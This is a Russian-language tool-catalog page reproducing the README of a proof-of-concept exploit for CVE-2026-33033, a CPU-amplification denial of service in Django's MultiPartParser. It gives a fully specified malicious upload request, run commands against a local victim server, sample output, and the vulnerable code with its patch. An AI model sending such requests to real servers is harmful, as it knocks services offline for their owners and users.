Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33033-PoC — Эксплойт proof-of-concept для CVE-2026-33033 — уязвимости типа «отказ в обслуживании» в MultiPartParser фреймворка Django через усиление нагрузки на ЦП при обработке пробелов в base64, демонстрирующий усиление примерно в 800 раз с помощью одного HTTP-запроса. | Kitploit
Инструменты/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на Проникновение
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Эксплойт proof-of-concept для CVE-2026-33033 — уязвимости типа «отказ в обслуживании» в MultiPartParser фреймворка Django через усиление нагрузки на ЦП при обработке пробелов в base64, демонстрирующий усиление примерно в 800 раз с помощью одного HTTP-запроса.

Репозиторий
2115 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33033 PoC

Отказ в обслуживании через усиление нагрузки на ЦП с помощью пробелов в base64 в MultiPartParser Django

Один HTTP-запрос размером 2,5 МБ может занять рабочий процесс Django на ~5 секунд, обеспечивая ~2100-кратное усиление нагрузки на ЦП по сравнению с обычным запросом того же размера. Аутентификация не требуется.

Затронутые версии

Эта уязвимость была исправлена в релизе безопасности Django 6.0.4 (7 апреля 2026 г.), а также перенесена во все поддерживаемые ветки.

ВеткаЗатронутаИсправлена
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Официальное описание

CVE-2026-33033: Потенциальная уязвимость отказа в обслуживании в MultiPartParser через загрузку файлов, закодированных в base64 (Серьёзность: Умеренная)

При использовании django.http.multipartparser.MultiPartParser многокомпонентные загрузки с Content-Transfer-Encoding: base64, содержащие чрезмерное количество пробелов, могут вызывать повторное копирование памяти, что потенциально снижает производительность.

— Примечания к релизу Django 6.0.4

Другие проблемы безопасности, исправленные в Django 6.0.4

CVEСерьёзностьОписание
CVE-2026-3902НизкаяПодмена заголовков ASGI из-за смешения подчёркивания и дефиса
CVE-2026-4277НизкаяЗлоупотребление привилегиями в GenericInlineModelAdmin
CVE-2026-4292НизкаяЗлоупотребление привилегиями в ModelAdmin.list_editable
CVE-2026-33034НизкаяОбход ограничения памяти загрузки ASGI из-за отсутствия Content-Length

Сводка по уязвимости

MultiPartParser в Django имеет специальный путь кода для обработки частей файлов с Content-Transfer-Encoding: base64. После удаления пробелов из каждого фрагмента, если результат не выровнен по кратности 4 байтам, цикл while вызывает field_stream.read(1) для получения дополнительных байтов по одному.

Когда тело файла состоит почти полностью из пробелов, каждый полученный байт удаляется до нуля, поэтому цикл продолжается — вызывая read(1) один раз на каждый пробельный байт. Ключевой момент в том, что каждый read(1) гораздо дороже, чем кажется:

Три уровня усиления

root@kitploit:~
Уровень 1:  цикл выравнивания base64 вызывает read(1) на каждый пробельный байт
              |
Уровень 2:  LazyStream.read(1) получает весь остаток (~64 КБ), нарезает 1 байт,
          возвращает ~64 КБ - 1 обратно  -->  копирование O(C) байт за вызов
              |
Уровень 3:  unget() выполняет  self._leftover = bytes + self._leftover
          создавая новый объект bytes каждый раз  -->  memcpy ~C байт

Для каждого фрагмента 64 КБ работа по копированию образует арифметическую прогрессию:

root@kitploit:~
Итого = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 миллиарда байтовых операций

Для входных данных 2,5 МБ (~40 фрагментов): ~86 миллиардов байт работы memcpy из одного HTTP-запроса.

Обход существующей защиты

Django включает _update_unget_history(), который вызывает SuspiciousMultipartForm, если одно и то же количество байтов возвращается 40+ раз за 50 операций. Однако в этой атаке размеры unget монотонно убывают (65535, 65534, 65533, ...), поэтому каждый размер уникален, и проверка никогда не срабатывает.

Триггер до просмотра

Промежуточное ПО CSRF обращается к request.POST до запуска любого представления, поэтому даже конечные точки, возвращающие 403, несут полную стоимость разбора.

Структура репозитория

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Этот файл
├── LICENSE
├── requirements.txt    # Зависимости Python
├── exploit.py          # Скрипт эксплойта
└── victim/             # Уязвимый сервер Django
    ├── manage.py
    ├── uwsgi.ini       # Конфигурация развёртывания uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Настройки Django по умолчанию (специальная конфигурация не требуется)
        ├── urls.py      # Конечные точки /upload и /health
        └── wsgi.py

Шаги воспроизведения

1. Клонирование и настройка

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Запуск сервера-жертвы

Вариант A: Сервер разработки Django (самый быстрый)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Вариант B: uWSGI (более реалистичный — использует 4 рабочих процесса)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Запуск эксплойта

В отдельном терминале:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Параметры:

ФлагПо умолчаниюОписание
--targethttp://127.0.0.1:8000/uploadЦелевая конечная точка загрузки
--size2621440 (2,5 МБ)Размер полезной нагрузки в байтах
--rounds3Количество раундов атаки

4. Ожидаемый вывод

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Отказ в обслуживании через усиление нагрузки на ЦП
с помощью пробелов в base64 в Django MultiPartParser
============================================================

Цель:         http://127.0.0.1:8000/upload
Размер полезной нагрузки: 2 621 440 байт (2,5 МБ)
Раунды:       3

[*] Проверка работоспособности сервера...
[+] Сервер работает.

------------------------------------------------------------
[*] Фаза 1: Отправка БЕЗВРЕДНОГО запроса (обычные данные base64)
------------------------------------------------------------
    Статус: 200
    Время:   5,55 мс

------------------------------------------------------------
[*] Фаза 2: Отправка ВРЕДОНОСНЫХ запросов (base64 + пробелы)
------------------------------------------------------------

  Раунд 1/3:
    Статус: 200
    Время:   4571,12 мс
  ...

============================================================
РЕЗУЛЬТАТЫ
============================================================
  Безвредный запрос:          5,55 мс
  Среднее время атаки:       4571,12 мс  (за 3 раунда)
  Усиление:                    823x

[!] УЯЗВИМО: Среднее время атаки превышает 1 секунду.
    Один запрос 2,5 МБ занимает рабочий процесс на ~4,6 с.
    С 4 рабочими процессами всего 4 одновременных запроса могут вызвать DoS сервера.

Как работает эксплойт

Эксплойт формирует тело POST-запроса multipart/form-data с одной частью файла:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2 621 433 пробела>A
------CVE2026-33033--
  1. Начальные AAA делают stripped_chunk = b"AAA" (3 байта), поэтому remaining = 3 % 4 = 3.
  2. Цикл while вызывает field_stream.read(1) для получения ещё 1 байта для выравнивания.
  3. Каждый пробельный байт удаляется до нуля (b"".join(b" ".split()) == b""), сохраняя remaining = 3.
  4. Цикл продолжается для каждого пробельного байта в потоке.
  5. Каждый LazyStream.read(1) внутренне копирует ~64 КБ через механизм unget.

Уязвимый код

django/http/multipartparser.py, строки 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # удаляется до пустоты
            remaining = len(stripped_chunk) % 4               # остаётся 3

Патч

Исправление (применено в Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) заменяет цикл read(1) по одному байту на массовое read(self._chunk_size):

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Ключевые изменения:

  1. read(4 - remaining) → read(self._chunk_size) — читает по 64 КБ за раз вместо 1-3 байт, сокращая количество вызовов read с ~2,5 миллионов до ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + финальный b"".join() — избегает потенциальной квадратичной конкатенации байтов.
  3. len(stripped_chunk) % 4 → счётчик stripped_length — избегает избыточного пересчёта длины.

Отказ от ответственности

Эта proof-of-concept предоставлена только для образовательных целей и авторизованного тестирования безопасности. Используйте её ответственно и только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Лицензия

Apache License 2.0 — см. LICENSE.

Скачать инструмент